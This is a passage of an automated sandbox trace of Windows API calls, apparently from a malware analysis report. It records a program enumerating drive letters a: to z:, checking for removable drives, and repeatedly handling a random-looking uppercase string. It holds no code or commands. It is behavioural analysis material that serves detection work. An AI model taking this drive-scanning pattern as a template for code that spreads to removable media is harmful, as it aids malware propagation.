dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0172.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0172.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0172.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0172.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0172.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0172.127] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.127] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.127] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.127] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.127] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.128] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.128] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.128] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.128] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.128] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.128] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.128] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.129] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.129] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.129] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.129] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.129] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0172.129] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0172.129] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0172.130] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0172.130] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0172.130] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0172.130] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0172.130] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0172.130] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0172.131] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0172.131] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0172.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0172.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0172.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0172.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0172.132] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe778 [0172.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0172.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0172.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0172.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe778 | out: hHeap=0xe80000) returned 1 [0172.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0172.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0172.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec3d0 [0172.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0172.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2f40 | out: hHeap=0xe80000) returned 1 [0172.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0172.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0172.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0172.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0172.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.134] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0172.134] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0172.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2eb0 [0172.134] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0172.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0172.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0172.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0172.135] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.135] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.135] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.135] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.135] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.135] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.135] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.136] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.136] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.136] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.136] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.136] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.136] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.137] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.137] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.137] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.138] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.138] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.138] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.138] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.138] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.138] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.138] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.138] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.138] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.138] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.138] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.138] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.138] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.138] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.138] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.139] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.139] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.139] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.139] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.139] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.139] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.140] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.140] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.140] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.140] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.140] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.140] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.140] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.140] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.140] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.140] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.140] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.140] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.140] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.140] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.141] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.141] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.141] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.141] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.141] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.141] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.141] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.141] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.141] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.141] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.141] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.142] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.142] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.142] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.142] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.142] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.142] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.142] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.142] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.143] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.143] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.143] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.143] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.143] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.143] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.144] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.144] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.144] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.144] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.144] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.144] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.144] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.144] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.144] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.144] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.144] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.144] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.144] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.144] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.145] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.145] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, 